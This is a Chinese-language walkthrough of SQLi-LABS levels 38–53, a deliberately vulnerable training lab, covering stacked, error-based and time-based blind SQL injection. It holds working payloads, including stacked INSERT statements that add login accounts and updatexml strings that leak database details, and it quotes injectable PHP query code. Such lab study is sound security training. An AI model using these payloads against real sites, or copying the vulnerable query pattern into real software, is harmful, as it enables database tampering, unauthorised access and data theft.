SQLi-LABS Page-3 (Stacked Injections)

目录

less-38-堆叠注入-GET-单引号闭合

 less-39-堆叠注入-GET-整形闭合

less-40-堆叠注入-GET-')闭合-无报错

less-41-堆叠注入-GET-整形闭合

less-42-堆叠注入-POST-写入数据-单引号闭合

less-43-堆叠注入-POST-写入数据-单引号+括号闭合

less-44-堆叠注入-POST-写入数据-单引号闭合-无报错

less-45-堆叠注入-POST-写入数据-单引号+括号闭合-无报错

less-46-报错注入-GET-整形闭合

less-47-报错注入-GET-单引号闭合

less-48-time盲注-GET-整形闭合-无报错

less-49-time盲注-GET-单引号闭合-无报错

less-50-堆叠报错注入-GET-整形闭合 

less-51-堆叠、报错注入-GET-单引号闭合 

less-52-堆叠注入、time盲注-GET-整形闭合-无报错

less-53-堆叠注入、time盲注-GET-单引号闭合-无报错


less-38-堆叠注入-GET-单引号闭合

联合查询就直接出来了?

id=-1' union select 1,database(),3--+

SQLi-LABS Page-3 (Stacked Injections)_第1张图片

关键源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if (mysqli_multi_query($con1, $sql))

print_r(mysqli_error($con1));

 mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

 执行多条代码:

id=-1';insert into users(id,username,password)values(55,'123','312');--+

可见已经成功执行: 

SQLi-LABS Page-3 (Stacked Injections)_第2张图片

 less-39-堆叠注入-GET-整形闭合

和less-38一样只是闭合方式不同。

less-40-堆叠注入-GET-')闭合-无报错

和less-39一样只是闭合方式不同,而且没有报错信息。

less-41-堆叠注入-GET-整形闭合

和less-40一样只是闭合方式不同。

less-42-堆叠注入-POST-写入数据-单引号闭合

用堆叠注入写进数据库一个用户和密码。

在password输入1'报错了,存在注入点,闭合方式是单引号:

 我们不知道用户和密码在哪一个表里面,这里有报错看看能不能用报错注入查到:

答案是可以的,这里就不演示了。

查到在users表里面,这里也可以直接用报错注入查数据库里面的用户和密码,但是还是用一下堆叠注入吧。

在users表里面添加username,password分别为test,123456

login_user=&login_password=1' ;insert into users(username,password) values('test','123456')--+ &mysubmit=Login

然后用用户密码成功登陆: 

SQLi-LABS Page-3 (Stacked Injections)_第3张图片

关键源码:

 $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
 $password = $_POST["login_password"];
 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
   if (@mysqli_multi_query($con1, $sql))
print_r(mysqli_error($con1));

 

less-43-堆叠注入-POST-写入数据-单引号+括号闭合

和less42一样只是闭合方式不同。

less-44-堆叠注入-POST-写入数据-单引号闭合-无报错

和less-42关一样只是没有了报错信息。

less-45-堆叠注入-POST-写入数据-单引号+括号闭合-无报错

和less-43关一样只是没有了报错信息。

less-46-报错注入-GET-整形闭合

输入sort=1正常,sort=1'和1'都报错,所以是整形闭合。有报错信息直接用报错注入。

sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+

SQLi-LABS Page-3 (Stacked Injections)_第4张图片

关键源码:

$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
print_r(mysql_error());

原sql语句只有order by后面的参数是我们可控的,所以sort=1的意思就是以第一列数据也就是ID进行排序。输入sort=2就是以第二列也就是username进行排序。输入sort=3就是以第三列也就是password进行排序。输入sort=4发现会报错,因为根本没有第四列数据,这也是order by为什么能作为判断字段数的原因。

less-47-报错注入-GET-单引号闭合

和less-46一样只是闭合方式不同。

sort=1'and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+

less-48-time盲注-GET-整形闭合-无报错

输入

sort=1 and 1=1 --+
sort=1 and 1=2 --+

SQLi-LABS Page-3 (Stacked Injections)_第5张图片 

 

回显一样 ,所以不能用bool盲注,用time盲注。

less-49-time盲注-GET-单引号闭合-无报错

和less-47一样只是没有报错,用time盲注。

less-50-堆叠报错注入-GET-整形闭合 

sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+
sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1);

SQLi-LABS Page-3 (Stacked Injections)_第6张图片

 

$sql="SELECT * FROM users ORDER BY $id";
	/* execute multi query */
	if (mysqli_multi_query($con1, $sql))
print_r(mysqli_error($con1));

使用堆叠注入创建用户:

sort=1; insert into users(id,username,password)values(18,'test','test')

less-51-堆叠、报错注入-GET-单引号闭合 

和less-50一样只是闭合方式不同。

less-52-堆叠注入、time盲注-GET-整形闭合-无报错

堆叠注入:

sort=1; insert into users(id,username,password)values(19,'test','test')--+

 SQLi-LABS Page-3 (Stacked Injections)_第7张图片

less-53-堆叠注入、time盲注-GET-单引号闭合-无报错

和less52一样只是闭合方式不同。

 

你可能感兴趣的:(学习,web安全,mysql)